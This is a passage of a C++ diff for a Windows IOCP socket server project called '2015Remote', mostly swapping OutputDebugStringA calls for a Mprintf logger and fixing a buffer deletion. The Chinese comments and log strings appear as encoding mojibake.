+				if (CompressedBuffer != buf) delete [] CompressedBuffer;
 				return;
 			}
 
 			ulCompressedLength =  usingZstd ? iRet : ulCompressedLength;
 
 			ContextObject->WriteBuffer(CompressedBuffer, ulCompressedLength, ulOriginalLength);
-			delete [] CompressedBuffer;
+			if (CompressedBuffer != buf) delete [] CompressedBuffer;
 		}while (false);
 
 		OVERLAPPEDPLUS* OverlappedPlus = new OVERLAPPEDPLUS(IOWrite);
@@ -621,12 +621,12 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
 		if ( (!bOk && GetLastError() != ERROR_IO_PENDING) )  //<2F><><EFBFBD><EFBFBD>Ͷ<EFBFBD><CDB6>ʧ<EFBFBD><CAA7>
 		{
 			int a = GetLastError();
-			OutputDebugStringA("!!! OnClientPreSending Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
+			Mprintf("!!! OnClientPreSending Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
 			RemoveStaleContext(ContextObject);
 			SAFE_DELETE(OverlappedPlus);
 		}
 	}catch(...){
-		OutputDebugStringA("[ERROR] OnClientPreSending catch an error \n");
+		Mprintf("[ERROR] OnClientPreSending catch an error \n");
 	}
 }
 
@@ -653,13 +653,13 @@ BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompl
 			if ( iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING )
 			{
 				int a = GetLastError();
-				OutputDebugStringA("!!! OnClientPostSending Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
+				Mprintf("!!! OnClientPostSending Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
 				RemoveStaleContext(ContextObject);
 				SAFE_DELETE(OverlappedPlus);
 			}
 		}
 	}catch(...){
-		OutputDebugStringA("[ERROR] OnClientPostSending catch an error \n");
+		Mprintf("[ERROR] OnClientPostSending catch an error \n");
 	}
 
 	return FALSE;			
@@ -775,7 +775,7 @@ void IOCPServer::OnAccept()
 	if ( (!bOk && GetLastError() != ERROR_IO_PENDING))  //<2F><><EFBFBD><EFBFBD>Ͷ<EFBFBD><CDB6>ʧ<EFBFBD><CAA7>
 	{
 		int a = GetLastError();
-		OutputDebugStringA("!!! OnAccept Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
+		Mprintf("!!! OnAccept Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
 		RemoveStaleContext(ContextObject);
 		SAFE_DELETE(OverlappedPlus);
 		return;
@@ -800,7 +800,7 @@ VOID IOCPServer::PostRecv(CONTEXT_OBJECT* ContextObject)
 	if (iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING)
 	{
 		int a = GetLastError();
-		OutputDebugStringA("!!! PostRecv Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
+		Mprintf("!!! PostRecv Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
 		RemoveStaleContext(ContextObject);
 		SAFE_DELETE(OverlappedPlus);
 	}

server/2015Remote/IOCPServer.h

@@ -370,7 +370,7 @@ public:
 #if TRACK_OVERLAPPEDPLUS
 		char szLog[100];
 		sprintf_s(szLog, "=> [new] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
-		OutputDebugStringA(szLog);
+		Mprintf(szLog);
 #endif
 		ZeroMemory(this, sizeof(OVERLAPPEDPLUS));
 		m_ioType = ioType;
@@ -381,7 +381,7 @@ public:
 #if TRACK_OVERLAPPEDPLUS
 		char szLog[100];
 		sprintf_s(szLog, "=> [delete] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
-		OutputDebugStringA(szLog);
+		Mprintf(szLog);
 #endif
 	}
 };

server/2015Remote/SystemDlg.cpp

@@ -9,7 +9,7 @@
 
 // CSystemDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
 
-typedef struct
+typedef struct ItemData
 {
 	DWORD ID;
 	CString Data[3];

server/2015Remote/VideoDlg.cpp

@@ -308,7 +308,7 @@ void CVideoDlg::InitCodec(DWORD fccHandler)
 	m_pVideoCodec = new CVideoCodec;
 	if (!m_pVideoCodec->InitCompressor(m_BitmapInfor_Full, fccHandler))
 	{
-		OutputDebugStringA("======> InitCompressor failed \n");
+		Mprintf("======> InitCompressor failed \n");
 		delete m_pVideoCodec;
 		// <20><>NULL, <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ΪNULL<4C><4C><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ѹ<EFBFBD><D1B9>
 		m_pVideoCodec = NULL;